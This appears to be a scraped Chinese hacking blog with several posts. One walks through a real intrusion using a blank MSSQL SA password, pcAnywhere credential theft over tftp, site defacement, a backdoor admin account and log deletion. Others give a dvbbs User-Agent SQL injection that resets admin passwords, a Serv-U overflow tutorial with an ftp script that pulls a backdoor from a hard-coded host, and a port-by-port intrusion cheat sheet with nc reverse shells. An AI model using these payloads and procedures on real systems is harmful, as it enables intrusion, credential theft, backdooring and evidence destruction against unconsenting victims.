先ping出目标主机的IP地址:
连接IP主机: 211.154.xxx.xx...
发送 56 个字节...
接收到 56 个字节! 历时: 0毫秒
结论: IP主机正在与Internet连接中...
接着选择打开扫描器x-way,选择高级扫描功能。输入目标IP,开始扫描。数分钟后得到扫描结果如下(结果经整理):
主机信息
主机名:BEWDB01NOK
80(HTTP)
21(FTP Control)
25(SMTP)
443(HTTPS)
1433(MSSQL)
5631(PCAnyWhere)
用户列表
Administrator (Admin) Guest hacker (Admin) IUSR_BEWDB01NOK IWAM_BEWDB01NOK ogilvy remoteuser (Admin)
漏洞:
//../readme.txt (HTTP: 200 )
/msadc/msadcs.dll (HTTP: 200 )
/iisadmpwd/achg.htr (HTTP: 200 )
/_AuthChangeUrl (HTTP: 200 )
/?PageServices (HTTP: 200 )
上一步中得到目标服务器的相关有用信息。可以发现扫描结果中并无可用的asp/cgi漏洞。而从所开端口来看,
21(FTP Control)
1433(MSSQL)
5631(PCAnyWhere)
只有这三个可用。在万一得已的情况下,我是不会用暴力破ftp的。那么只好从
1433,5631这两个端口入手了!我们知道,1433是ms-sql的服务端口,默认情况下它的最高权限用户帐号SA口令为空。如果管理员疏忽了这一点,没有给SA一个口令的话,事情就好办了!先来试试看。从www.tianxing.org下一个ms-sql的客户端,在Host框中输入目标ip:211.154.xxx.xx
Username为sa
password框空,连接:
SQL>Connecting 211.154.xxx.xx
SQL>Connected to 211.154.xxx.xx
呵呵!看来对方管理员没有对sa设置一个口令!太好了!可以在客户端以xp_cmdshell " "的形式运行任意dos指令了!dir一下试试看:
SQL>Command: xp_cmdshell "dir c:/"
驱动器 C 中的卷没有卷标。
卷的序列号是 5CBD-664C
卷的序列号是 5CBD-664C
c:/ 的目录
c:/ 的目录
01-12-20 08:13p 2u2u
01-07-23 08:10p 0 AUTOEXEC.BAT
01-11-28 04:02p 84 biaoti.txt
01-07-23 08:10p 0 CONFIG.SYS
01-11-22 11:49a InetPub
01-10-25 11:12a 15,360 kkkk.XLS
01-07-24 12:09p MSSQL7
01-12-12 11:00a 134,217,728 pagefile.sys
01-11-30 10:59a Program Files
01-09-04 02:43p 136 sp_attach.sql
01-12-20 04:12p temp
01-09-27 11:14a unzipped
01-12-15 12:09a WINNT
13 个文件 134,233,308 字节
54,232,576 字节可用
54,232,576 字节可用
这时我们便可以改对方的主页了!前提是先找到对方的web目录!来找找看
…………
XX分钟后,满头大汉,乖乖!竟然有X个盘,每个盘下又有XX个目录,这样找下去得何年何月?不成!要是有windows界面的形式就好找的多了!想想看,目标主机还开着5631端口,这正是pcanywhere远程管理端口呀!取了它的管理帐号和密码不就得了吗?不错的想法,呵呵……
默认情况下,pcanywhere安装于c:/Program Files目录下,其data目录下的.cif文件中保存着加密过的连接帐号和密码。只要得到此文件,就可以用一个叫pcanywherepwd的软件快速解出密码!
且看如何得到这个.cif文件。先用x-way的内置tftp服务器在本机建立tftp服务:
选择“工具”菜单中的tftp服务器。设置一个默认根目录,点启动即可!
然后再用ms-sql客户端在目标服务器执行如下指令:
copy c:/progra~1/pcanywhere/data/New Caller.CIF c:/winnt/system32
tftp -i 本地ip put New Caller.CIF
命令执行成功,这个cif文件已被传到本地tftp目录下了!
此时,用pcanywherepwd.exe破解此文件,得到用户名为:administrator
密码为:amsrepair
打开pcanywhere manager建立一个指向211.154.xxx.xx的通道。在setting项中选择network host pc to control or ip adress, 并添上目标ip:211.154.xxx.xx
选中login information项中的automatically login to host up connection
并在下面的login name和password栏中添入刚才得到的用户名和密码!确定即可。双击新建立的通道,稍等片刻即可看到了对方桌面。这下好搞了,呵呵~~在
g:/home/wwweb/目录下,终于找到了他们的index.htm。删!再手动定一个简单的文件:
hacked<title> <br></head> <br><body> <br><center> <br>hacked <br></center> <br></body> <br>保存为:index.htm <br>修改主页完成。 <br><br><br><br>该留个后门了,这是个NT主机,用小榕的RemoteNC做后门最好不过了! <br>先给系统加个超级用户,用ms-sql来做: <br>net user wing wing /add <br>net localgroup administrators wing /add <br><br>从对方桌面上打开ie连到小榕的站上下载RemoteNC,然后进入命令提示行状态,键入: <br>RemoteNC 211.154.xxx.xx wing wing LocalSystem "RemoteNC" "Provide Local CMD Redirect" 7 123456 <br>系统显示: <br>[Install Service as RunasUser Mode] <br>Connecting 211.154.xxx.xx ..... Done. <br>Transffer File ..... Done. <br>Start Service ..... Done. <br><br><br>Now You can 211.154.xxx.xx to Connect, Have a Joy 安装成功 <br><br>这样在任何时候都可以telnet 211.154.xxx.xx 7输入密码:123456即可使用系统任何资源了! <br><br>接下来该清理战场了,在ms-sql下停掉对方的ftp和www服务: <br>net stop msftpsvc <br>net stop w3svc <br>删除c:/winnt/sys tem32/logfile下的所有文件。 <br>再将服务恢复: <br>net start msftpsvc <br>net start w3svc </span>
</div>
</div>
<table border="0">
<tbody>
</tbody>
</table>
<div class="footerLinks">
15:09 |
<font color="#ffffff">添加评论</font> |
<font color="#ffffff">固定链接</font> |
<font color="#ffffff">引用通告 (0)</font> |
<font color="#ffffff">写入日志</font> |
<font color="#ffffff">收藏</font>
</div>
<div class="footer">
<font color="#ffffff"></font>
</div>
</div>
<div class="fixedTable bvEntry" id="entrycns!D4A2E8F4A02D8CC6!115">
<h4 class="TextColor1" id="subjcns!D4A2E8F4A02D8CC6!115" style="MARGIN-BOTTOM: 0px">将dvbbs送进地狱</h4>
<div id="msgcns!D4A2E8F4A02D8CC6!115">
<div>
<p style="LINE-HEIGHT: 130%">前一段时间动网论坛的头像上传的<strong><font color="#ff0000"><u>漏洞</u></font></strong>给各大使用dvbbs论坛的网站带来难以愈合的创伤,这个<strong><font color="#ff0000"><u>漏洞</u></font></strong>甚至危及到了sp2的版本。为了解决这个问题,沙滩小子可能也耗尽了心血吧。但是动网论坛至此就真的安全了吗?回答是否定的,这不是在htt_user_agent变量上面有出现了<strong><font color="#ff0000"><u>漏洞</u></font></strong>吗,欲知详情,请听我慢慢道来。 <br><br><strong><font color="#ff0000"><u>漏洞</u></font></strong>文件:inc/dv_clsmain.asp <br>测试环境: dvbbs7.0.0+mssql <br>dvbbs7.0.0+sp1+mssql <br>dvbbs7.0.0+sp2+mssql <br>服务器os:windows 2000 advanced server <br><br><br>发现<strong><font color="#ff0000"><u>漏洞</u></font></strong> <br><br>n.e.v.e.r曾经发布了dvbbs6.x中关于http_user_agent变量过滤不严所造成的注入<strong><font color="#ff0000"><u>漏洞</u></font></strong>,我开始的时候以为这次在dvbbs7.0应该过滤了吧。但是在看过代码以后证明我的想法是错误的,只要经过巧妙的构造就可以实现对使用mssql<strong><font color="#ff0000"><u>数据库</u></font></strong>的论坛实现注入。还是让我们先来看一下出现<strong><font color="#ff0000"><u>漏洞</u></font></strong>的代码吧。 <br><br>dvbbs7.0.0&dvbbs7.0.0+sp1中的inc/dv_clsmain.asp文件第1745-1755行为: <br>agent=request.servervariables("http_user_agent") <br>agent=split(agent,";") <br>if instr(agent(1),"msie")>0 then <br>browser="microsoft internet explorer " <br>version=trim(left(replace(agent(1),"msie",""),6)) <br>elseif instr(agent(4),"netscape")>0 then <br>browser="netscape " <br>dim tmpstr <br>tmpstr=split(agent(4),"/") <br>version=tmpstr(ubound(tmpstr)) <br>end if <br>dvbbs7.0.0+sp2中的inc/dv_clsmain.asp文件第1919-1938行为: <br>agent=request.servervariables("http_user_agent") <br>'agent="opera/7.23 (x11; linux i686; u) [en]" <br>if left(agent,7) ="mozilla" then '有此标识为浏览器 <br>agent=split(agent,";") <br>if instr(agent(1),"msie")>0 then <br>browser="microsoft internet explorer " <br>version=trim(left(replace(agent(1),"msie",""),6)) <br>elseif instr(agent(4),"netscape")>0 then <br>browser="netscape " <br>tmpstr=split(agent(4),"/") <br>version=tmpstr(ubound(tmpstr)) <br>elseif instr(agent(4),"rv:")>0 then <br>browser="mozilla " <br>tmpstr=split(agent(4),":") <br>version=tmpstr(ubound(tmpstr)) <br>if instr(version,")") > 0 then <br>tmpstr=split(version,")") <br>version=tmpstr(0) <br>end if <br>end if <br><br>这两段代码是在class cls_browser的一部分用来判断用户的浏览器类型及版本的。然而在这两段代码中都存在相同的问题,即当agent(4)的值中包含netscape时便不会经过任何过滤,直接将字符串的值返回给version变量,但是这能有什么作用呢?接着再往下看。 <br><br>在这个文件中的useractiveonline函数中(三个版本的内容相同)的部分代码为: <br><br>dim statuserid <br>statuserid = session(cachename & "userid")(0) <br>sql = "select id,boardid from [dv_online] where id = " & ccur(statuserid) <br>set rs = execute(sql) <br>if rs.eof and rs.bof then <br>if cint(forum_setting(36)) = 0 then <br>actcome = "" <br>else <br>actcome = address(uip) <br>end if <br>set browsertype=new cls_browser <br>sql = "insert into [dv_online](id,username,userclass,ip,startime,lastimebk,boardid,browser,stats,usergroupid,actcome,userhidden) values (" & statuserid & ",'客人','客人','" & usertrueip & "'," & sqlnowstring & "," & sqlnowstring & "," & boardid & ",'" & browsertype.platform&"|"&browsertype.browser&browsertype.version & "','" & replace(left(stats,250),"'","") & "',7,'" & actcome & "'," & userhidden & ")" <br>'更新缓存总在线数据 <br>myboardonline.forum_online=myboardonline.forum_online+1 <br>name="forum_online" <br>value=myboardonline.forum_online <br>set browsertype=nothing <br>else <br>sql = "update [dv_online] set lastimebk = " & sqlnowstring & ",boardid = " & boardid & ",stats = '" & replace(stats,"'","") & "' where id = " & ccur(statuserid) <br>end if <br>rs.close <br>set rs = nothing <br>execute(sql) <br><br>很显然从browsertype取得version的值以后也没有经过过滤就直接插入了sql变量的语句中调用execute函数执行<strong><font color="#ff0000"><u>数据库</u></font></strong>查询。在execute函数中有关语句过滤的代码为: <br><br>if instr(lcase(command),"dv_admin")>0 and left(scriptname,6)<> "admin_" then <br>response.write savesqllog(command,"")'翻译成英文 <br>command=replace(lcase(command),"dv_admin","dv<i>"&chr(95)&"</i>admin") <br>end if <br><br>看出来了吧,只要我们的语句中没有dv_admin关键字就可以顺利通过了。 <br><br>虽然已经把思路打通了,但是由于动网论坛中的防刷新机制的存在给我们的<strong><font color="#ff0000"><u>漏洞</u></font></strong>利用带来的很大的困难。但还是有办法解决的,还是一步一步来看我是怎么测试利用这个<strong><font color="#ff0000"><u>漏洞</u></font></strong>的吧。 <br><br><br>小试牛刀 <br><br>以sp1中的dv_clsmain.asp文件为例,在activeonline函数中第687行的 <br><br>if datediff("s",reflashpagelasttime,now()) < 120 and lastvisiboardid = boardid then exit sub <br><br>是防刷新机制的关键语句,在初步测试的时候为了避免受到它的影响就先把它给注释掉。然后用wse对访问index.asp时的mime数据抓包,得到的数据为: <br><br>get /index.asp http/1.1 <br>accept: */* <br>accept-language: zh-cn <br>accept-encoding: gzip, deflate <br>user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; .net clr 1.1.4322) <br>host: <u><font color="#0000ff">www.somesite.com</font></u> <br>connection: keep-alive <br>cookie: dnetpubtemp=statuserid=2110913640; aspsessionidcqcbbscq=dmlbhjaajfofclflencdepgg <br><br>其中的user-agent的值便对应着代码中的request.servervariables("http_user_agent")的值,因此只要将user-agent构造为sql语句的话便可以实现对<strong><font color="#ff0000"><u>数据库</u></font></strong>的任意修改。 <br><br>由于execute函数中过滤了dv_admin关键字,所以我们只好先修改前台管理员的<strong><font color="#ff0000"><u>密码</u></font></strong>了。将user-agent的值修改为: <br><br>mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1—netscape <br><br>然后用nc发送,nc运行结束以后再去看<strong><font color="#ff0000"><u>数据库</u></font></strong>的时候发现所有的前台管理员<strong><font color="#ff0000"><u>密码</u></font></strong>已经被修改成123,与此同时在dv_online表中也记录一条id=2110913640的数据,正如我们所想的,它的browser=’unknown|netscape’, stats=’hacker’。由此可见,通过构造user-agent的值进行注入是完全可以实现的。 <br><br><br>防刷新问题的解决 <br><br>刚才为了测试方便把防刷新的关键语句给注释了,那现在就把它给改回来。这样的话我们就面临着非常棘手的问题,由于我们的访问程序会在dv_online表中记录相应的访问数据,而只要这条数据存在的话就不会执行我们要跳转到可以注入的语句。因此只好等20分钟之后由于其他的用户访问而调用myboardonline.onlinequery过程将超时用户访问记录(包括我们刚才的访问记录)删除之后才可以再次进行欺骗注入。否则的话只会让我们的访问最后时间更新为当前值,而对其它数据没有任何影响。 <br><br>每两次欺骗注入之间的时间间隔要20分钟!那么如果要向<strong><font color="#ff0000"><u>数据库</u></font></strong>写入<strong><font color="#ff0000"><u>木马</u></font></strong>的话还不要等到头发也白了。您也许会说,我是拨号上网的,只要重新拨号不就行了吗?当然可以了,不过即使这样对于我们来说是一件很痛苦的事。为了解决这个棘手的问题我们可以在修改<strong><font color="#ff0000"><u>数据库</u></font></strong>的同时将dv_online表中的所有记录全部删除,这样不就可以进行连续注入了吗。调整以后的user-agent的值为: <br><br>mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1 delete from dv_online—netscape <br><br>不信你测试一下,不管你在注入前<strong><font color="#ff0000"><u>数据库</u></font></strong>内有多少的用户访问记录,只要能够成功的欺骗成功不仅会将所有的前台管理员<strong><font color="#ff0000"><u>密码</u></font></strong>进行修改,而且还会将所有的用户访问记录删除得干干净净。 <br><br>哈哈,现在我们不就可以随心所欲了吗,只要你能想到的,只要<strong><font color="#ff0000"><u>数据库</u></font></strong>用户有足够的权限。等一等,如果用户没有足够的权限怎么办,就是修改了前台管理员的<strong><font color="#ff0000"><u>密码</u></font></strong>又能怎么样。难道对后台管理员就真的束手无策了吗?不要急,请接着看。 <br><br><br>突破execute过滤,向后台进军 <br><br>由于在execute函数中过滤了dv_admin关键字,因此在使用sql查询语句的时候要避免它的出现。但是我们也不能就此放弃对dv_admin表的注入,否则的话不就前功尽弃了嘛。后来在《sql injection white paper》的启发下,我使用exec函数成功地解决了这个问题。如果将user-agent的值修改为: <br><br>mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) declare @a nvarchar(255) select @a='update dv_'+'admin set username=''firstsee'',password=''123''' exec(@a)—netscape <br><br>就可以成功的把dv_admin中的所有记录的username的值修改为firstsee,而password的值修改为123。在这个构造值中把dv_admin关键字进行了拆分,然后通过字符串的连接功能又组合成了一个完整的查询语句,只要在exec函数中执行连接后的字符串就可以实现与直接查询相同的效果。 <br><br>由于在mssql<strong><font color="#ff0000"><u>数据库</u></font></strong>中的exec函数的使用也受到一定的限制,因此也只有具备了这一权限的情况下才可以使用欺骗注入的方法进行后台管理员账号和<strong><font color="#ff0000"><u>密码</u></font></strong>的修改。 <br><br><br>总结 <br><br>您也许已经想到了,如果把前台管理员<strong><font color="#ff0000"><u>密码</u></font></strong>修改的语句与后台的修改语句放在一起,只需要进行一次注入就可以了,这样不就不用再去管什么防刷新了吗?但是经过我的测试后发现,如果user-agent的值的长度过大就会失败。而且exec函数的使用也受到一定的限制,因此为了保证最大的成功率,将两句分开还是最佳的选择,即使后台管理员账号修改失败,前台管理员<strong><font color="#ff0000"><u>密码</u></font></strong>的修改也不会受到任何影响。 <br><br>现在的动网论坛通过修改后台管理摄制的办法已经不能够再上传<strong><font color="#ff0000"><u>木马</u></font></strong>了,因此即使成功的得到了管理权限对服务企也只是望而兴叹,但如果能够结合我在黑防第6起上面发表的《把dvbbs拉下马》文章中的accesstopic.asp<strong><font color="#ff0000"><u>漏洞</u></font></strong>在具备了足够的权限下还是可以上传<strong><font color="#ff0000"><u>木马</u></font></strong>的。 <br><br>由于这个<strong><font color="#ff0000"><u>漏洞</u></font></strong>涉及到的脚本内容比较多,利用起来也很费劲,所以我写了一个exploit,具体的使用方法见详细说明。 <br><br>这篇文章由于时间仓促,难免出现纰漏。还望大家能够不吝指出。</p>
</div>
</div>
<table border="0">
<tbody>
</tbody>
</table>
<div class="footerLinks">
14:30 |
<font color="#ffffff">添加评论</font> |
<font color="#ffffff">固定链接</font> |
<font color="#ffffff">引用通告 (0)</font> |
<font color="#ffffff">写入日志</font> |
<font color="#ffffff">收藏</font>
</div>
<div class="footer">
<font color="#ffffff"></font>
</div>
</div>
<div class="fixedTable bvEntry" id="entrycns!D4A2E8F4A02D8CC6!114">
<h4 class="TextColor1" id="subjcns!D4A2E8F4A02D8CC6!114" style="MARGIN-BOTTOM: 0px">远程溢出serv-u</h4>
<div id="msgcns!D4A2E8F4A02D8CC6!114">
<div>
<div>
<p>通过serv-u漏洞入侵全过程<br>serv-u漏洞已经发布了好长一段时间了,不过好多菜鸟朋友还没有能够掌握,<br>而且现在通过这个漏洞还能找很多肉鸡的,现在我就通过演示给广大的菜鸟<br><br>朋友看一下怎么来得到权限、放置后门、打补丁的!<br>serv-u服务器的配置都不错的哦!<br>所需要的工具:ftpscan.exe,hotmail的ftp密码帐号扫描工具,<br> killftp.exe,ftp漏洞溢出程序<br> wineggdrop, 后门工具<br> 3389.exe,开3389的工具<br>还有补丁程序,jay的,大家可以看帖子:<br><font color="#666666"><u>http://jdwl.net.cn/qfaq/forum_view.asp?forum_id=5&view_id=2875</u></font><br>其他程序大家可以去清风上去下载!<br><br>需要的操作系统:98、2000、xp、2003下都可以成功溢出,还有大家最好找一个<br>ftp空间,你可以用自己的肉鸡做,也可以去找一些免费的空间,这个不在本教程<br>的讨论范围之内!<br><br>现在我们先来扫一些ftp帐号,可写不可写的都可以,我们看看ftpscan的使用方法<br>FTPSCAN.EXE StartIP EndIP Port Threads [FileName]<br>ftpscan 开始ip 结束ip ftp端口(一般用21) 线程(看你的机器配置而定) 保存的<br><br>文件名<br>好了,我们先让他扫着,下面我们来配置我们的后门程序,我这里用wineggdrop<br>做演示,详细的配置操作请看作者的说明文件!<br>后门程序有加壳和未加壳版本,未加壳的版本大家可以自己加下壳,我这里为了<br>演示的方便就用加过壳的,未加壳的版本要先加壳后配置!<br>好了我们配置好了,下面我们来制作成自解压文件,为了方便我们的使用!<br>下面我们把我们所需要的工具上传到我们的ftp空间上!<br><br>好了,现在我们登陆肉鸡来看看扫描结果,OK,找到了几个,我们来溢出看看<br>在溢出之前我们先来看看killftp的使用方法!<br>Usage: killftp <br> killftp <br> killftp <br>第一个是直接溢出,也是我们经常要使用的方法,第二个是要下载文件后门程序<br>并执行,第三个是用反弹端口的方法,你要先用nc监听一个端口,这个在有防火墙<br>的时候特别有用!<br>我们来看看!<br><br>好了成功的溢出一台了,我们加帐号先,<br>0K,我们来上传我们的工具!<br>echo open 61.187.190.170 >ftp.txt<br>echo ceshi >>ftp.txt<br>echo tongtu >>ftp.txt<br>echo binary >>ftp.txt [可选]<br>echo get 3389.exe >>ftp.txt<br>echo get 2.exe >>ftp.txt<br>echo bye >>ftp.txt </p>
<p>ftp -s:ftp.txt<br>del <font color="#336666"><u>ftp.txt</u></font><br>这样我们就成功的上传了我们的工具,一个是我们的后门程序,一个是开3389的<br>那位说了wineggdrop也能开终端,为什么还要用3389.exe开呢?呵呵,这个是<br>个人习惯而已!<br>OK,看看我的操作!<br>好了,我们已经成功的给他开了终端和放置了后门,现在我们要上去给他打上补丁<br>顺便给他克隆一个帐号!<br>等待服务器的重起中!。。。。。。。。。。。。。。。。。。。。。。。。。<br>。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。<br>服务器重起还是比较慢的!耐心的等待!<br>用wineggdrop开终端是不需要重起的哦!我们已经进来了!<br>这个就是我们的补丁程序,我们先用ftp上传上去<br><br>怎么样,现在这个肉鸡基本上就是你的了,是不是有些成功的喜悦呢?呵呵! </p>
<p> <br>附件:<font color="#666666"><u>serv-u.rar</u></font></p>
</div>
</div>
</div>
<table border="0">
<tbody>
</tbody>
</table>
<div class="footerLinks">
14:27 |
<font color="#ffffff">添加评论</font> |
<font color="#ffffff">固定链接</font> |
<font color="#ffffff">引用通告 (0)</font> |
<font color="#ffffff">写入日志</font> |
<font color="#ffffff">收藏</font>
</div>
<div class="footer">
<font color="#ffffff"></font>
</div>
</div>
<div class="fixedTable bvEntry" id="entrycns!D4A2E8F4A02D8CC6!112">
<h4 class="TextColor1" id="subjcns!D4A2E8F4A02D8CC6!112" style="MARGIN-BOTTOM: 0px">SERV-U配置文件详解</h4>
<div id="msgcns!D4A2E8F4A02D8CC6!112">
<div>
<p>SERV-U的目录文件结构说明<br>Servudaemon.exe serv-u的服务程序,主文件<br>Servudaemon.ini serv-u的配置文件,记录用户信息,服务器参数<br>Seruadmin.exe serv-u管理界面<br>Servuadmin.ini serv-u管理界面配置文件<br>Servutray.exe serv-u系统托盘程序<br><br> SERV-U配置文件例子<br>[GLOBAL]<br>Version=5.0.0.0<br>RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722<br>ProcessID=1172<br>[DOMAINS]<br>Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0<br>[Domain1]<br>User1=admin|1|0<br>[USER=admin|1]<br>Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB<br>HomeDir=g:/<br>RelPaths=1<br>DiskQuota=1|153600000|0<br>SpeedLimitUp=5120<br>SpeedLimitDown=5120<br>TimeOut=600<br>Maintenance=System<br>Note1="Administrator User"<br>Access1=g:/|RWAMELCDP<br><br> SERV-U配置文件分析<br>配置文件对大小写不敏感<br>行与行之间允许空行<br>主要分为2段<br>[GLOBAL]<br>全局变量段<br>主要设置SERV-U的注册号,以及刷新标志<br>[DOMAINS]<br>域名配置段<br>包括在serv-u下添加的所有域信息以及域以下用户列表<br><br>#具体分析<br>[GLOBAL]<br>Version=5.0.0.0<br>#无需改动.版本号<br>RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722<br>#无需改动.产品注册码<br>ProcessID=1172<br>#无需改动.注册号<br>ReloadSettings=True<br>#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加<br><br>[DOMAINS]<br>Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0<br>#无需改动.新增加的域的IP地址以及说明.<br># 格式<br># Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除<br>#IP地址为0.0.0.0时,SERV-U自动适配系统所分配的IP地址<br>#当生效位置0,则此域禁用<br>#当显示位置0,此域不生效并且在控制面板不显示此项<br>#当删除位置0,则ReloadSettings设置为Ture后,即刷新后,自动删除此域名以下所有内容<br><br>[Domain1]<br>#无需改动.与上面添加的域对应.是此域内的一些公共设置<br><br>User1=admin|1|0<br>#必填.用户列表<br># 格式<br># User序号 = 用户名 | 是否生效 | 是否删除<br>#User添加时必须按照序号排列,如果跳号,则跳号的不生效.如果序号重复.则排列在后的无效.<br>#是否生效置0,则此用户禁用<br>#是否删除置1,则刷新后删除用户信息,包括配置. 如果置2,则域下所有用户均删除.<br><br>[USER=admin|1]<br>#用户配置段,这些段的排列不分先后<br># 格式 [ USER=用户名 | 是否?120<br>TimeOut=600<br>Maintenance=System<br>Note1="Administrator User"<br>Access1=g:/|RWAMELCDP<br><br> SERV-U配置文件分析<br>配置文件对大小写不敏感<br>行与行之间允许空行<br>主要分为2段<br>[GLOBAL]<br>全局变量段<br>主要设置SERV-U的注册号,以及刷新标志<br>[DOMAINS]<br>域名配置段<br>包括在serv-u下添加的所有域信息以及域以下用户列表<br><br>#具体分析<br>[GLOBAL]<br>Version=5.0.0.0<br>#无需改动.版本号<br>RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722<br>#无需改动.产品注册码<br>ProcessID=1172<br>#无需改动.注册号<br>ReloadSettings=True<br>#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加<br><br>[DOMAINS]<br>Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0<br>#无需改动.新增加的域的IP地址以及说明.<br># 格式<br># Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除<br>#IP地址为0.0.0.0时,SERV-U自动适配系统所分配的IP地址<br>#当生效位置0,则此域禁用<br>#当显示位置0,此域不生效并且在控制面板不显示此项<br>#当删除位置0,则ReloadSettings设置为Ture后,即刷新后,自动删除此域名以下所有内容<br><br>[Domain1]<br>#无需改动.与上面添加的域对应.是此域内的一些公共设置<br><br>User1=admin|1|0<br>#必填.用户列表<br># 格式<br># User序号 = 用户名 | 是否生效 | 是否删除<br>#User添加时必须按照序号排列,如果跳号,则跳号的不生效.如果序号重复.则排列在后的无效.<br>#是否生效置0,则此用户禁用<br>#是否删除置1,则刷新后删除用户信息,包括配置. 如果置2,则域下所有用户均删除.<br><br>[USER=admin|1]<br>#用户配置段,这些段的排列不分先后<br># 格式 [ USER=用户名 | 是否显示 ]<br><br>Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB<br>#必填.密码.算法为随机产生2个字符,如hr.将hr+明文密码(如test)使用MD5加密,如MD5("hrtest"),生成密码后将所有小写字符变为大写<br>#在最前加上这两个随机字符"hr"+"1589A4F0334FDF55D52F26DFA2D3CCEB",生成最终密码<br><br>HomeDir=g:/<br>#必填.Home目录,用户登陆后的所在目录<br><br>RelPaths=1<br>#无需改动.锁定用户于Home目录,<br><br>DiskQuota=1|153600000|0<br>#必填.磁盘限额<br># 格式 DiskQuota = 生效位 | 限制容量 | 实际使用量<br>#容量均以字节计算<br><br>SpeedLimitUp=5120<br>#可选.上传最大速度.以字节计算<br><br>SpeedLimitDown=5120<br>#可选.下载最大速度.以字节计算<br><br>TimeOut=600<br>#无需改动.超时,以秒计算,默认10分钟<br><br>Maintenance=System<br>#可选.用户权限,默认无此项<br><br>Note1="Administrator User"<br>#可选.注释.默认无此项<br><br>Access1=g:/|RWAMELCDP<br>#必填.对于目录的存储权限,默认权限为RWAMLCDP.权限排列无需按照顺序.<br># 格式 Access序号 = 目录 | 权限<br>#R 读取<br>#W 写入<br>#A 附加<br>#M 修改<br>#E 执行--由于安全原因,所有帐号均不能开启此权限<br>#L 目录列表<br>#C 建立目录<br>#D 删除目录<br>#P 将权限继承给子目录<br><br>标准的serv-u用户配置段例<br>[Domain1]<br>User1=admin|1|0<br>User2=test|1|0<br>[USER=admin|1]<br>Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB<br>HomeDir=g:/<br>RelPaths=1<br>DiskQuota=1|153600000|0<br>TimeOut=600<br>Access1=g:/|RWAMLCDP<br>[USER=test|1]<br>Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB<br>HomeDir=f:/test<br>RelPaths=1<br>DiskQuota=1|153600000|0<br>TimeOut=600<br>Access1=f:/test|RWAMLCDP <br></p>
</div>
</div>
<table border="0">
<tbody>
</tbody>
</table>
<div class="footerLinks">
14:20 |
<font color="#ffffff">添加评论</font> |
<font color="#ffffff">固定链接</font> |
<font color="#ffffff">引用通告 (0)</font> |
<font color="#ffffff">写入日志</font> |
<font color="#ffffff">收藏</font>
</div>
<div class="footer">
<font color="#ffffff"></font>
</div>
</div>
<div class="fixedTable bvEntry" id="entrycns!D4A2E8F4A02D8CC6!110">
<div id="LastMDatecns!D4A2E8F4A02D8CC6!110">
9月1日
</div>
<h4 class="TextColor1" id="subjcns!D4A2E8F4A02D8CC6!110" style="MARGIN-BOTTOM: 0px">各种端口的入侵</h4>
<div id="msgcns!D4A2E8F4A02D8CC6!110">
<div>
<p>. 1433端口入侵<br>scanport.exe 查有1433的机器<br>SQLScanPass.exe 进行字典暴破(字典是关键)<br>最后 SQLTools.exe入侵<br>=============================<br>对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。<br>nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口<br>(以上反向的,测试成功)<br>sqlhelloz.exe 入侵ip 1433 (这个是正向连接) </p>
<p>2. 4899端口入侵<br>用4899过滤器.exe,扫描空口令的机器 </p>
<p>3. 3899的入侵<br>对很早的机器,可以试试3389的溢出(win3389ex.exe)<br>对2000的机器,可以试试字典暴破。(tscrack.exe) </p>
<p>4. 80入侵<br>对sp3以前的机器,可以用webdav入侵;<br>对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe)<br>可以利用SQL进行注入。(小榕的注入软件)。 </p>
<p>5. serv-u入侵(21端口)<br>对5. 004及以下系统,可用溢出入侵。(serv5004.exe)<br>对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)<br>======================================<br>对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs)<br>输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到 </p>
<p>密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A </p>
<p>6. 554端口<br>用real554.exe入侵。 </p>
<p>7. 6129端口<br>用DameWare6129.exe入侵。 </p>
<p>8. 系统漏洞<br>利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞,<br>进行溢出入侵。 </p>
<p>9. 3127等端口<br>可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。 </p>
<p>10. 其他入侵<br>利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。<br>经典IPC$入侵<br>1. C:/>net use <u><font color="#0000ff">//127.0.0.1/IPC$</font></u> "" /user:"admintitrators" <br>这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运 </p>
<p>气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连 </p>
<p>接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名 </p>
